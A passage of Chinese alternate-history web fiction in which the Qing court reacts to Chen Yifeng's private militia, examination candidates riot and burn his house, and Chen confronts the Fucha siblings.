端阳骑兵队接到当地乡绅密报时,本想从陈逸风身上找回场子。谁知迎接他们的,竟是一支有洋人参与的卫队。每条必经之路上都设有关卡,每处关卡都有持枪的洋人水手。这些都是海商们为保护自身利益而组织的武装力量。 端阳在天津横行霸道,可一见到洋人就怂了。别说动手,连抗议都不敢。 紫禁城,养心殿。 “废物!纯粹的废物!”同治皇帝的怒吼声回荡在殿内。他猛地从龙椅上站起,手中的密折被捏得变了形。 殿内的烛火摇曳,映照着年轻皇帝涨红的脸。他来回踱步,龙靴在地板上发出沉重的声响。 “望海是大清的地界,也未曾让洋鬼子占去一寸土地,他怕什么?按万国公法,我大清的兵还管不了大清的叛乱了?这端阳真是该杀!” 慈禧和慈安对视一眼,有些诧异。慈禧率先开口,声音里带着试探:“皇帝居然懂这些?谁教你的万国公法?” 同治停下脚步,语气中带着几分得意:“这还用教?《域外见闻》里都写着呢。远虎陪我玩时也说过不少...” 话音未落,慈禧的脸色骤变。她猛地站起身,茶杯重重地砸在桌上:“够了!皇上这举动太出格了!这事全因陈逸风私养军队而起,你还跟他学?” 慈安轻轻抿了一口茶:“妹妹,我倒有不同看法。”她放下茶盏,“情报来源有二:一是地方士绅,二是端阳。不论真假,陈逸风的军队人数是确定的 - 只有二百人。” 殿内一时寂静无声,只有檀香袅袅升起。 “二百人...”慈安的声音轻若蚊蝇,“陈逸风是西学宗师,不会蠢到只带二百人就挑起冲突。这里面必有蹊跷。” 慈禧冷笑一声,语气中带着讥讽:“姐姐这是说他攻击绿营还有理了?私蓄军队也成了功劳?” 慈安缓缓起身,走到窗前。 她转过身:“我何时这么说过?我只想给你敲个警钟,此事太过蹊跷。陈逸风敢明目张胆对抗朝廷,必有后手。对这样危险的人,绝不能掉以轻心。” “现在我们既不知他的后招,也不明白他的底牌,更不清楚洋人的态度。两眼一抹黑,贸然行动只会错上加错。” 这就是慈安,史册中威名显赫的东太后。她向来大智若愚,曾多次在关键时刻力挽狂澜。 殿内再次陷入沉默。慈禧低头摆弄着手中的玉扳指,胤禛皱眉思索,就连同治也安静下来。 慈安轻敲茶几。片刻后,一位白发老太监无声无息地佝偻这身子出现在殿外。 老太监只是微微欠身,殿内众人却无人觉得失礼。 “您是紫禁城的老祖宗,我们之间不必拘礼。”慈安的声音温和却带着不容置疑,“这件事您也知道了,还请亲自出马。换作他人,我实在不放心。” “是杀人还是探查?”老太监的声音沙哑。 “探查。切记不可轻举妄动。这陈逸风不但与洋人交好,还和琉球有说不清的关系。” 老祖宗微微躬身,转身离去。他的身影很快消失在阴影中,仿佛从未出现过。他是王四莲的师傅,更是京城紫教的守护者头领。这些年来,他培养了无数像王四莲这样的死士,为满清江山立下汗马功劳。 午时将至,小会议终于散了。 胤禛一出殿门,就看见廊下跪着一排太监,为首的正是同治身边的红人远虎。 “哼,远虎...”胤禛冷笑,“回去告诉你干爹,官府的容忍也是有底线的。史书上那些恃才自傲的奴才,没一个有好下场。” 慈禧随后也出来了。看到远虎,她多少有些厌恶,仿佛在看一只令人作呕的虫子。 但想起慈安的话,她强压下怒火:“远虎,午后离开皇宫片刻,把瑜音请进来。我这个当姐姐的,总该好好照顾照顾她。” 远虎额头贴地,浑身颤抖。他早得到消息,已做好人头不保的准备,没想到只挨了几句训斥。 慈安最后出来,在远虎面前站定。她居高临下地看着这个跪着的太监,目光深邃:“问问你干妈,还想不想跟陈逸风过日子?要是想过,就劝劝她男人。官爵俸禄大清还不是手到擒来,何必非要走险路?” 等三位贵人走远,远虎才颤抖着爬起来,这才发现全身已被冷汗浸透。他靠在廊柱上,双腿仍在发软。 当天下午,富察瑜音被传进宫。她压根就没见着慈禧的面,就在东暖阁外跪着。透过明亮的西洋玻璃,她看见表姐在屋内来回踱步,早无往日的雍容。 “让她跪着!”慈禧的怒吼声透过玻璃传来,“我们满洲姑奶奶什么时候这么没用了?就连个爷们儿都压不住,怪不得祸害了仨汉子!废物!” “我还主动替她出头护驾,她就这么报答我?白费我一片心血!” 最后安德海出来传话:“主子说了,年底前把人带回京城。过年前见不着人,就按谋反论处,千刀万剐都算轻饶。让你赶紧滚,主子不想听你说话!” 安德海蹲下身,用手指挑起富察瑜音下巴:“瑜音小姐,瞧您这俊俏模样,给陈逸风真是可惜了,我见犹怜啊...”说着还捏了捏她的脸。 富察瑜音感觉像被毒蛇舔过,浑身一阵恶寒。她强忍着恶心陪笑:“公公多美言几句,晚上必有厚礼送府。我这就去望海...” 回到桂花胡同老宅,富察瑜音一进内院就看见楚三爷在书房灌酒。 秋风萧瑟,吹散了他的辫子。他的眼中布满血丝,泪水止不住地往下流。见姐姐回来,他彻底崩溃了。 “姐!您告诉我,陈兄实非反贼...”他的声音哽咽,“他乃大清的铁杆心腹,他是想让大清强大起来,不再受洋人欺负啊...裕王刚把我叫去痛骂一顿...我这心里憋屈得很...” 富察瑜音看着醉醺醺的弟弟,心中五味杂陈。她走到书桌前,给自己倒了一杯酒,一饮而尽。 “你说得对,他不是叛逆。”她的声音很轻,“但这世道,谁又说得清是非对错呢?” 窗外,秋风呜咽,卷起一地落叶。 第一百三十六章 读书人的世界 寒风凛冽,京城的气温一天比一天低。街道上行人裹紧了厚重的棉衣,匆匆而过。 距离过年就剩45天,但今年的北京城却比往年热闹了许多。茶馆、酒肆、客栈里挤满了各地赶来的举子,谈论声此起彼伏。 皇帝开恩,特意增设一场科举考试。这消息早已传遍大江南北,让无数寒窗苦读的学子看到了新的希望。 恩科,是朝廷给读书人最大的恩典。清朝立国以来,也不过加过五次恩科,主要发生在康熙、雍正、乾隆这段黄金岁月。但这一次,却因为陈逸风的出现,让历史轨迹发生了改变。 夏天时圣旨传遍天下,无数举子欢呼雀跃。这一次恩科意味着多了几百个当官的机会,谁能不激动? 富贵人家的举子们早已准备妥当,带着家丁书童浩浩荡荡奔赴京城。一路上游山玩水,吟诗作对,好不快活。马车上铺着厚厚的狐皮,随行的仆人手捧暖炉,一路舒适无比。 寒门子弟也不必担心盘缠。自从得了举人功名,已经有种田人拿着田产证书来归顺。到了进京赶考的时候,同乡士绅们更是会送来白银助力。若是文采出众的,连县令大人都要送金相赠。 这就是读书人的世界。几千年来,读书人已经形成了一个庞大的互助体系。只要跨过举人这道门槛,人生就会彻底改变。 永定门外,人声鼎沸。各地举子大多选择从这里进城,到处都是相互寒暄的场面。马蹄声、车轮声、说话声交织在一起,热闹非凡。 客栈、酒肆、出租院落的小贩们四处招揽生意,整个永定门俨然成了一个大集市。茶水摊上飘着热气,卖糖葫芦的小贩穿梭其中,吆喝声不绝于耳。 守城的兵丁和衙役们忙得不可开交。往日里他们最喜欢刁难普通百姓和商人,但面对这些未来的官老爷,却只能陪着笑脸。他们弯着腰,不停地指路、解答问题。 “举人老爷,聚祥客栈就在前面三个路口右转。” “大人要去度支部?沿着这条大街一直走就是了。” 正忙着的时候,从内城来了一顶朴素的二人轿。当守门的老兵看清轿中人后,顿时吓得哆嗦起来,帽子都差点掉在地上。 “翁、翁大人!您怎么亲自来了?这里太乱了......”老兵结结巴巴地说道。 来人正是咸丰六年的状元郎,现任帝师的翁同龢。他的出现立刻引起了轰动。 “是翁大人!帝师翁大人来了!”周围的举子们一下子沸腾了。有人激动地整理衣冠,有人急忙挤上前想要一睹帝师风采。 翁同龢面带微笑,亲切地与众人交谈。他的温文尔雅让在场的举子们都为之欣赏。不少人暗暗记下他言谈举止中的细节,希望能学到一二。 就在这时,一个管家挤进人群,在翁同龢耳边低语几句。 “皇帝议事完毕退朝,皇上和西太后都震怒不已。皇帝甚至要派兵,但被东太后压下来了......” 翁同龢听罢,眉头紧皱。他强压着怒火,心中却翻江倒海。 陈逸风私蓄军队,这分明是要造反!官府竟然还能装作没看见?慈安太后到底是怎么想的? 这次望海之事,本该是陈逸风与满洲皇族决裂的契机。就算不能除掉他,至少也该把他驱逐出境! 翁同龢虽然是读书人,但对时局洞若观火。陈逸风的打算,他至少看透了七分。那些所谓的商号、码头,不过是幌子罢了。 借着二鬼子身份经商,养私兵,拉起武装。这和曾国荃他们有什么区别?大清江河日下,这些野心家就按捺不住了。 从骨子里讲,曾国藩、洪秀全,包括陈逸风,都是一丘之貉!他们打着忠君爱国的旗号,实则野心勃勃。 周围的举子见翁同龢神色不对,纷纷低声询问:“大人为何愁眉不展?可是有什么大事?”。 翁同龢长叹一声,目光扫过众人:“诸位早些安顿吧,祝你们今科都能高中。”说完便钻进轿子,返回内城。轿夫们抬着轿子快步离去,留下一群疑惑不解的举子。 当晚,整个京城都传遍了一个惊人的消息。大街小巷、茶馆酒肆,到处都在议论这件事。 “最新消息知道不?陈逸风造反了!私养了几百兵马......”一个商人神神秘秘地说道。 旁边的食客不以为然:“几百人算什么?江南那些大户谁家没有护院?我听说某些盐商养的护院比这还多呢。” “这能一样吗?”一个穿着儒衫的中年人插话道,“人家是护院,他可是给士兵配了洋枪,就连军旗都已经绣制完成!这摆明了是要造反!” 醉月楼的雅间里,几个举子正在热烈讨论。酒过三巡,话题转到了这件事上。 “朝廷怎么还不派兵镇压!”一个年轻举子拍案而起,“这等大逆不道之事,岂能容忍?” “慎言!”年长的举子连忙制止,“这里是京城,说话要当心。” 正说着,一个举子冲进来,脸色苍白:“孙阳正,孙翰林被气死了!再有两年就要致仕,却死在这个时候......” 酒馆里顿时爆发出愤怒的吼声。有人掀翻了酒桌,有人捶胸顿足。 “一起去送别这位老学究!朝堂上混进了小人,我们要讨个公道!”众人群情激愤,纷纷起身。 店小二们手忙脚乱地收拾着打翻的碗筷,却不敢多说什么。掌柜的站在柜台后面,面色凝重地看着这一切。 在这个刺骨的寒夜中,街道上,举子们三三两两结伴而行,低声议论朝着孙府的方向走去。 寒风呼啸着穿过街巷,卷起地上的枯叶,在空中打着旋儿。孙明站在王府门前,看着眼前渐渐聚集的人群,心中五味杂陈。 父亲和小姨娘的死讯传来时,他正在书房研读四书。那一刻,手中的书本重若千钧,砸在地上发出沉闷的响声。 “孙公子...”一名身着青衫的举子快步上前,声音哽咽,“老翰林的死实在太冤了!” 孙明抬眼望去,只见那举子面容憔悴,眼眶泛红。他张了张嘴,却不知该如何作答。 “都是那个陈逸风害的!”人群中突然爆发出一声怒吼。 第一百三十七章 孙翰林之死引发的怒火 寒风中,孙明环视四周。府门前已经聚集了数十名举子,他们打着吊唁的名义前来,实则每个人眼中都燃烧着愤怒的火焰。 “诸位,眼下还是要以大局为重...”孙明刚想开口劝阻,一个尖锐的声音便打断了他。 “孙公子,你可知道陈逸风在醉月楼是如何对待你父亲的吗?”说话的是个面色阴沉的中年文士,“他找来秋七四那个女混混,用下三滥的手段陷害老翰林!” 此言一出,人群顿时沸腾。 “这陈逸风来大清才一年多,你们看看他都干了些什么?”一个戴着方巾的举子挤到前排,激动地挥舞着双手。 “在琉球胡作非为,在望海城袭击朝廷军队...” “最可恨的是,他还想用那本《域外见闻》蛊惑人心!” 愤怒的声浪此起彼伏,孙明的心也随之剧烈跳动。他看着这些同窗好友,看着这些与父亲有过师生之谊的文人,内心的怒火在不断积聚。 “诸位,我们...” “孙公子,你可知道朝廷现在被陈逸风蛊惑,要拿我们宗学开刀了!”一个阴沉的声音插了进来。 此言一出,院中更加躁动。 “什么?这是真的?”有人惊呼。 “西学要兴,宗学就要衰落了?” “我听说各地都有人在私下研究《域外见闻》,这简直是要亡国啊!” 寒风呼啸,吹得孙明衣袂翻飞。他站在台阶上,看着眼前沸腾的人群,内心在剧烈挣扎。父亲的音容笑貌不断在脑海中闪现,那些关于陈逸风的传言也不断在耳边回响。 就在这时,人群中传来一声悠长的叹息:“今年还能有恩科,以后呢?等到我们的子孙,怕是连科举都没了...” 这句话如同一根导火索,瞬间点燃了所有人的怒火。 “我知道陈逸风的府邸在玉兰胡同!”有人高喊。 “去找他算账!” “让天下人听到我们读书人的声音!” 孙明看着群情激愤的场面,突然觉得一股热血涌上心头。父亲的在天之灵,想必也在期待着他的选择。 他猛地站了出来,声音嘶哑:“走!为父亲讨个公道!” 人群随即沸腾,跟着孙明浩浩荡荡向玉兰胡同进发。 一路上,不断有人加入这支队伍。 有举子,有闲汉,甚至还有些八旗子弟也凑了热闹。街道两旁的店铺纷纷关门,但却有更多的人从胡同里涌出来。 “冤枉啊!严惩陈逸风!”孙明走在最前面,声嘶力竭地喊着。 “给咱们一个说法!”数百人的呐喊声震天动地。 当他们来到陈宅门前时,人数已经超过了八百。月光下,人影幢幢,怒火冲天。 “陈逸风,滚出来!” “你这个杀人凶手!” “还孙翰林的命来!” 砖头石块不断砸向大门,发出“砰砰”的闷响。孙明看着眼前的一切,突然感到一阵前所未有的快意。 他抄起路边一个酒肆丢弃的烈酒坛子,狠狠砸在门上。酒液四溅,空气中弥漫着刺鼻的酒香。 “烧了这邪魔的老巢!”孙明掏出火折子,点燃了洒在门上的酒液。 火光冲天而起,照亮了所有人狰狞的面容。 “为了宗学,我愿粉身碎骨!”孙明仰天长啸,声音中带着决绝。 就在这时,胡同另一端传来急促的马蹄声。 九门提督的兵马到了。 “你们这些读书人,赶紧滚蛋吧!”司阿骑在马上,厉声喝道。 孙明不退反进,直指司阿:“正因为我们是读书人,才要有读书人的骨气!西学邪魔入侵,你们这帮废物兵痞子,不是我们上谁上?” “爷们铁骨铮铮不服输,看我一人力挽狂澜!” 所有读书人齐声高喊,纷纷跪向金城方向。火光映照下,他们的身影显得格外坚定。 “皇上啊,大清的江山岂能改变!” 司阿看着眼前的场面,一时也不知该如何是好。他身后的兵丁们握紧了刀柄,却迟迟不敢动手。 这时,远处又传来一阵马蹄声。 “大人,五城兵马司的人来了!”一个亲兵急匆匆跑来报信。 司阿眉头紧锁:“让他们快些!这些读书人疯了!” 孙明听到这话,不禁冷笑:“是啊,我们是疯了!可若不疯狂,如何保我大清的道统?” 此时的孙明,已经顾不得那么多了。他站在人群最前方,看着熊熊燃烧的大火,心中只有一个念头: 为父亲报仇,为宗学请命! 夜色笼罩下的紫禁城,太和殿前的广场上传来阵阵欢笑声。灯笼的光芒在夜风中摇曳,将地面映照得忽明忽暗。 同治皇帝坐在御书房内,写着老师留给的功课,眼睛虽然盯着笔尖,思绪却游荡在在别处。 他伸了伸懒腰,看向远虎:“学了一天,有些疲惫,随朕去外面走一走吧”。 刚到门口,同治忽然停下动作,侧耳倾听。夜风中似乎传来了不寻常的声响。 “远虎,你听,南边好像有什么声音。”同治皱着眉头,脸上露出疑惑的神色。 远虎歪着脑袋仔细聆听,果然听到远处传来阵阵喧哗。声音断断续续,却透着一股不寻常的躁动。 “陛下,咱们还是回宫吧。”一旁的太监沈含杰小心翼翼地劝道。 不等太监们反应过来,同治已经加快脚步:“快,往南边走!”。 “皇上使不得啊!”沈含杰等太监慌忙追赶。 可同治哪管这些,一路冲出太和门,飞奔向皇宫大门。守门的龙骧军也不敢阻拦,眼睁睁看着小皇帝冲向天安门。他们只能跪地请求:“陛下,夜深露重,还是回宫歇息吧。” 到了天安门前,龙骧军们跪地死守,任凭小皇帝踢打也不敢开门。他们的额头冒着冷汗,却依然坚持着自己的职责。 “死奴才!朕要抄你们的家!”同治气得直跳脚,脸涨得通红。他从未受过这样的“委屈”。 远虎见状赶紧出言劝解:“陛下,咱们先上城楼看看情况如何?” 同治想了想,转身就急切地往城墙上跑。 登上城楼,南边的喧闹声更加清晰。可惜大清门挡住了视线,看不到具体情况。城楼上的风有些大,吹得灯笼摇晃不定。 正在这时,一队承天府差役匆匆赶来。 第一百三十八章 皇帝决断的时刻 “站住!”同治扯着嗓子喊道,“南边闹啥动静?”他的声音里带着不容置疑的威严。 差役们吓得跪地,颤声回禀:“回陛下,南城数百名举子聚众闹事,已经烧了陈逸风的宅子!”他们的声音中带着掩饰不住的惊慌。 “真的?”同治兴奋得直拍手,“快开城门,我要去看!”他的眼中闪烁着兴奋的光芒。 太监们吓得死死抱住皇帝的腿:“万万使不得啊!”他们的声音里充满了恐惧。 就在双方僵持不下时,两顶暖轿从北面宫殿疾驰而来,灯笼照得如同白昼。轿夫们的脚步声急促而沉重。 慈禧太后一见这阵势就急了:“皇帝,这是做什么?外面乱糟糟的,哪是你该去的地方?” “为什么朕不能去?”同治难得顶撞母亲,他的声音里带着几分倔强,“普天之下莫非王土,朕为什么不能出去看看?把朕关在这牢笼里有什么用?” 慈禧吓得脸色发白:“皇帝,谁教你说这些话的?”她的声音微微发颤。 话音未落,南面突然涌来大批人群,无数火把照亮了夜空。火光映照下,人群的面孔显得格外狰狞。 “皇上!请为天下学子做主啊!”人群跪倒在金水桥外,他们的哭喊声震天动地。 为首的孙明披麻戴孝,哭喊道:“小人是孙阳正之子,家父被陈逸风气死,求陛下做主!”他的声音里充满了悲愤。 “皇上,太后,我等举子跪求朝廷给个明示,到底是要压制宗学,还是要扶持西学?”人群中此起彼伏地响起质问声。 慈禧连忙安抚:“朝廷从未想过要改变祖制,诸位不要听信谣言。”她的声音温和却带着威严。 “既然如此,请太后诛杀陈逸风,禁绝西学!”人群高呼,声音中充满了愤怒。 就在这时,裕王胤禛带兵赶到,他朝着人群怒吼:“放肆!你们这是要造反不成?” 谁知这句话彻底激怒了举子们。 “打死这个狗官!”不知是谁喊了一声。 “还我恩科!”又有人高声呐喊。 胤禛站在人群中央,脸色铁青。他做梦也没想到,这些举子竟敢对他动手。一记重拳砸在他的太阳穴上,剧痛让这位王爷眼前发黑,踉跄着后退了两步。 司阿带着士兵拼命往里挤,额头上已经布满冷汗,嘴里不停地喊着:“保护王爷!快,保护王爷!” 士兵们举着长矛,用白蜡木杆子往外推搡。人群中爆发出此起彼伏的怒骂声,有人甚至扯下了自己的长衫,撕成碎片扔向胤禛。 “一二三,推!” “一二三,推!” 士兵们整齐的号子声中,人群中终于被挤出一条窄窄的通道。胤禛被护送出来时,脸上已经挂了彩,嘴角渗着血丝,衣服也被扯得破破烂烂。 “都给我住手!”胤禛咬牙切齿地吼道,眼中闪烁着愤怒的火光,“给你们一炷香时间,全部给我散开!否则,统统剥夺考试资格!” 他很想下令把这些人统统抓起来,但理智告诉他不能这么做。这不是一两个举子,而是整个大清的举子群体。一旦处理不当,这些人很可能投向其他势力的怀抱。 司阿凑到胤禛耳边,低声说道:“王爷,要不要调兵镇压?” 胤禛摆了摆手:“先别轻举妄动。” 城楼上,慈安太后和慈禧太后焦急地注视着下方的混乱。 就在这时,一个稚嫩的声音响彻广场。 “朕是皇帝!朕是大清之主!” 同治帝站在城楼上“朕就问你们一件事,朕的话,你们听不听?” 这声音仿佛有某种魔力,瞬间平息了广场上的喧嚣。一群人噗通跪地,齐声高呼:“吾皇万岁!” 皇权的威严,在这一刻展现得淋漓尽致。 同治帝继续说道:“既然你们还认朕这个皇帝,那就该明白王法为重。你们的诉求朕已经听到了,但谁也不能逼迫朕。朕能开恩科,也能取消恩科!” 说完这番话,小皇帝偷偷看了远虎一眼,嘴角微微上扬。远虎也朝他竖起大拇指,暗暗为这个聪明的主子点赞。 就在这时,一顶暖轿匆匆赶到。轿帘掀开,翁同龢从中跳出。他的脸上带着焦急和愤怒,大步走向人群。 “是谁指使你们?”翁同龢厉声喝道,“胆敢造反闯宫?圣人的教诲都忘了吗?赶紧给我滚开!” 在皇权的威慑和翁同龢的劝说下,人群终于开始散去。但不少人离开时仍在低声咒骂,眼中满是不甘和愤怒。 胤禛走到翁同龢面前,冷冷地说:“记住,再无下次机会。管好你的这些举子,别自误。江山社稷皆属大清。” 翁同龢没有回应,只是向城楼上的皇帝行了三跪九叩大礼。他的额头抵在地上,久久不起。 同治帝俯视着自己的老师,轻声说:“朕是大清最正统的皇帝,朝野上下无人不服。要让大清中兴,必须靠朕。老师,你可要想清楚。” 皇帝离开后,养心殿内一片寂静。远虎跪在地上,额头直冒冷汗。两位太后的目光如刀,让这个十几岁的少年心跳加速。 “听说你教了皇上不少东西?”慈安太后开口打破了沉默,声音不带任何感情。 远虎连连磕头,额头撞在地上发出“咚咚”的声响:“回太后,奴才不敢!只是在伺候皇上时,说过一些西学的事情。是皇上问起,奴才才不得不答。恳请太后饶命!” “西学?”慈禧冷笑一声,“又是西学。大清这些年被西学祸害得还不够吗?”她的目光在远虎身上停留片刻,又道:“看来你确实是陈逸风派来的人了?” 远虎心一横,说道:“太后明鉴,小的此生唯陛下马首是瞻。陈先生对我有恩,救了我,也教过我一些西学。但这改变不了奴才对主子的忠心!” 他从怀中掏出一封信,双手呈上:“这是陈先生的信,字字句句都是为了大清好啊!” 两位太后看完信后,脸上都露出惊讶的神色。 远虎继续磕头:“太后啊,陈先生不是要造反,他只是想让大清也能造出洋枪大炮,让我们也有对抗外敌的本事啊!求太后明察!” 第一百三十九章 一着不慎满盘皆输 同治年间的北方,寒风凛冽。 电报这个新鲜玩意儿还没传到大清国土,人们传递消息全靠两条腿和一双翅膀。快马八百里加急,信鸽穿云破雾,就是这个时代最快的通讯方式。 陈逸风坐在书房里,手中把玩着一封刚送到的密信。窗外的寒风呼啸,吹得窗棂作响。他眯起眼睛,借着昏暗的烛光,仔细辨认着信上的字迹。这是他精心布置的信鸽网络传来的情报,从京城到望海,从平县到保定,但凡他势力所及之处,都有这双翅膀的影子。 “乙丑年科举之乱?”他的眉头越皱越紧。 不过短短八个时辰,京城发生的事情就摆在了他的案头。密信上的内容让他心头一沉,那些自诩雅流的读书人竟敢在京城闹事,这可不是什么好兆头。 “这帮书生疯了不成?”陈逸风一拍桌子,茶杯里的水面荡起涟漪,“雅流什么时候这么大胆了?” 寒风透过窗户的缝隙钻进来,让他打了个寒颤。这个冬天格外的冷,陈府被烧成了废墟,一大家子人只能挤在明月商行的后院里。 说是挤,那是真挤。 光是他内宅的女人就有小四十号。凤女、阿艳和几个老丫鬟是第一梯队,她们是最早跟随他的人,忠心耿耿。暖柔、绎芳等瑶华园的美人是第二梯队,个个貌美如花,却也带着几分傲气。还有从望海本地买来的丫鬟婆子算第三梯队,虽然地位低些,但也是陈家的一份子。 原本宽敞的后院小楼,现在人满为患。就连陈逸风的卧室都塞进了三个美人:暖柔、绎芳,还有那个名义上来监视他的阿艳。每天早上醒来,都能看到三张美人脸,这本该是件赏心悦目的事,可现在却让他头疼不已。 “老爷,您的衣服皱了。”暖柔轻声说着,纤纤玉手已经搭上了他的衣襟。 绎芳端着一碗热气腾腾的燕窝粥走了进来:“老爷,趁热喝了吧。” 阿艳则站在一旁,目光灼灼地盯着他的一举一动。这个名义上的监视者,不知何时也变得温柔起来。 陈逸风被她们团团围住,只觉得喘不过气来。他这个新时代的四有青年,哪经历过这种阵仗?每天晚上三个美人相伴,光是想想就让人热血沸腾。可偏偏他还得装出一副正人君子的模样。 要出门还得穿过大厅,那里住着川儿、金钏她们。一眼望去,莺莺燕燕,满屋子都是体香。走廊里随时可能撞见打水的丫鬟,院子里总有晾衣服的婆子,这简直就是一个美人迷宫。 这天早上,密信送到时,陈逸风连衣服都来不及穿好就要往外冲。 “老爷,衣服都没穿利索!”暖柔急忙追上来。 “早点都要凉了!”绎芳端着早饭在后面喊。 “帽子帽子,外面冷死了!”阿艳抓着他的貂皮帽子。 一群美人叽叽喳喳地围上来,七手八脚地给他整理衣装。陈逸风被她们摆弄得像个木偶,心里却急得像热锅上的蚂蚁。密信上的内容太过惊人,他必须尽快做出决断。 “行了行了,再不走就误事了!”他挣扎着要走。 “喝完这碗燕窝粥再走!”绎芳执拗地把碗往他面前送。 最后,陈逸风被迫灌下半碗滚烫的燕窝粥,才得以逃出这个温柔乡。他快步走在院子里,冷风一吹,才觉得脑子清醒了些。 库房里,陈逸风召集了心腹开会。这是他众多秘密据点之一,外面布满了明暗岗哨。屋里生着火盆,但众人的脸色都不太好看。 “诸位都看过情报了,说说想法。”他搓着手问道,目光在每个人脸上扫过。 “干他娘的!”玄童陀第一个跳出来,脸涨得通红,“这些书呆子太嚣张了!烧了咱们的门房不说,还敢在京城撒野!带上一队兄弟,保证让他们好看!” “你就知道动刀子。”瑾周信无奈地摇头,“跟满清彻底翻脸对我们有什么好处?现在是关键时期,一着不慎,满盘皆输。” “就是,”诸葛林也道,手指在桌面上画着圈,“咱们现在最缺的就是发展时间。满清要是真派兵来,一两万人马我们都顶不住。” 玄童陀不服气了,拍案而起:“那就眼睁睁看着他们欺负到头上?弟兄们的这口气往哪撒?当初要不是先生收留,我们这些人早就饿死街头了!” 孙忠义听了半天,突然笑道:“先生肯定已经有主意了,就别卖关子了。” 屋里安静下来,所有人的目光都集中在陈逸风身上。火盆里的炭火发出轻微的噼啪声,映得他的脸忽明忽暗。 陈逸风站起身,走到窗前。外面的风雪更大了,天地间一片苍茫。他能感觉到身后众人急切的目光,但他需要一点时间理清思路。 “我们现在最重要的是什么?”他转过身,目光炯炯,“是发展,是积蓄实力,要将产业园区搞活。但是...” 他顿了顿,眼中闪过一丝寒光:“在这个乱世,退一步就会被人逼着退三步。所以,该出手时就得出手!” “诸位且听我一言...”他的声音低沉而坚定,“这次的事情,表面上看是那些书生闹事,实际上背后必有推手。我们要做的,不是跟他们硬碰硬,而是...” 话未说完,外面突然传来一阵急促的脚步声。一个护院跌跌撞撞地冲了进来:“先生!不好了!码头那边传来消息,富察楚三爷和富察瑜音刚刚下船,正往商行赶来” 陈逸风闻言只得让众人散去,他整理好衣着离开库房,去了书房等待富察姐弟二人。 他刚落座,书房的门突然被推开。寒风裹挟着一个身影闯了进来,烛火剧烈摇曳,几乎要熄灭。 富察瑜音站在门口,月光下她的脸色惨白,泪水在眼眶中打转:“你要造反是不是?” 这一句话如同晴天霹雳,炸得陈逸风脸色大变。 他看向门外,苦笑道:“三爷,你也进来吧。” 楚三爷大步流星走进书房,脸色阴沉得可以滴出水来:“这支两百人的兵马到底什么情况?你想干什么?” 第一百四十章 真相与谎言的交织 “你们想要什么答案?”陈逸风猛地拍案而起,案上的茶盏震得叮当作响,“是谁先要杀我的?慕四、王四莲,一个比一个狠毒!” 他从抽屉里抽出一叠西洋照片摔在桌上,照片散落一地:“睁大眼睛看清楚,是谁先挑起事端的!” 照片上是熊熊燃烧的宅院,困在火海中的百姓绝望的面容,还有奋力救火的陈逸风。每一张照片都记录着那场灾难的惨状,血腥而真实。 楚三爷和富察瑜音看得目瞪口呆,一时间说不出话来。 “这......”楚三爷语塞了,他没想到事情会是这样。 陈逸风冷笑一声,声音里带着刺骨的寒意:“想让我死,就光明正大地来,玩这些阴谋诡计算什么本事?” “孟明蛇,”他转头对门外喊道,声音中带着决绝,“告诉梁掌柜,收拾东西,咱们去美国!工业特区的事,我不管了!” 诸楚楚三爷一听这话就急了,连忙上前几步:“你不能走!你走了这摊子谁来收拾?” “让那些腐儒来啊!”陈逸风怒极反笑,“他们不是什么都懂吗?让他们来治国平天下啊!” 富察瑜音看着这个她深爱的男人,心如刀绞。她多希望这一切都是误会,可眼前的证据又那么真实。那些照片上的惨状,那些被烧毁的房屋,那些绝望的面容,都在无声地控诉着什么。 “让瑜音去看看琥珀”陈逸风对仆人说,声音里带着一丝疲惫,“让她亲眼看看,她带来的奴才都干了些什么好事!” 富察瑜音被带走了,留下诸楚楚三爷和陈逸风对峙。 “君要臣死,臣不得不死,这是规矩。”楚三爷仍在强撑,虽然声音已经不像刚才那么理直气壮。 “放屁!”陈逸风怒极,一掌拍在桌上,“我可是在欧洲混大的,不吃你这一套!想让我死,就拿出个明堂来!” 陈逸风这一翻脸,直接把楚三爷的气势压了下去。 这位八旗贵胄眨了眨眼睛,一时间竟无言以对。窗外的寒风呼啸,吹得窗棂作响,更添几分萧瑟。 “三爷,你说说看,我一个海外归来的人,凭什么要受你们大清的管束?”陈逸风冷笑一声,眼神中带着几分嘲讽。他随手拿起桌上的茶杯,茶水已经凉透,却仍是一饮而尽。 楚三爷沉默了。这一年多来,陈逸风在望海写书做生意,倒也活得滋润。可朝廷上下,除了施绊子就是拆台,连皇族都想着占便宜。那些人的嘴脸,他早就看透了。 “你以为我不知道朝廷那些人怎么看我?”陈逸风站起身来,踱步到窗前。窗外的街道上,行人匆匆,马车辘辘,一派繁华景象。“在他们眼里,我不过是个异类,一个该死的二鬼子。” 真要说起来,整个大清朝能给陈逸风帮衬的,也就只有七爷曾国荃了。而这点人情,陈逸风早就用明月商行的股份还清了。 三爷瘫在太师椅上揉着太阳穴,这时后院传来一阵撕心裂肺的哭声,回荡在院落间。 富察瑜音怕是已经哭得不成样子了。 看着桌上的照片和口供,还有那些望海百姓和洋人的签名作证,楚三爷实在说不出话来。那一叠叠的证据,每一张都像一记重锤,砸得他喘不过气。 “这王四莲,怎么敢......”楚三爷喃喃道,声音里带着几分不可置信。 “为什么?还不是为了钱。”陈逸风冷笑,转过身来,目光如刀。“他装作梁儒的管事,早就盯上了望海的商圈。梁儒掌握着二百万硬通货,我这买卖铺子明面上就周转着一百五十万银钱。这些钱,足够让任何人红了眼。” 楚三爷的手不自觉地颤抖起来,“你...你真有一千万两?” “街边的传言也信?”陈逸风撇嘴,眼中闪过一丝不屑。“一千万两是有,但大多是货物、贷款、地产,现银也就二百多万两。” 三爷听得目瞪口呆。短短半年,陈逸风竟然积累了这么大的财富。他不由得想起当初那个刚从海外回来的青年,谁能想到,他会在望海掀起这么大的风浪? “现在明白了吧?知道为什么英法要跟大清开战,要贸易权了吧?”陈逸风站起身来,眼中闪过一丝疲惫。“算了,跟你说这些也没用。你们不留我,我就去别处。这么大的世界,还能饿死不成?” “等等!”三爷急忙起身,衣袖一挥打翻了茶杯。“你不能走!工业特区这么大,叫我独自如何是好?那些腐儒要是插手,又得变成衙门了!” 陈逸风转过身:“坑你的是那些雅流腐儒,是那些贪婪的密探,是朝堂上那些又蠢又坏的高官。想要交代,去寻他们去。” “陈逸风!”楚三爷气得脸色发青,手指颤抖着指向陈逸风。“那群穿着制式军服的兵卒是何缘由?还都带着洋枪,连辫子都没有,这不是在作妖是什么?” 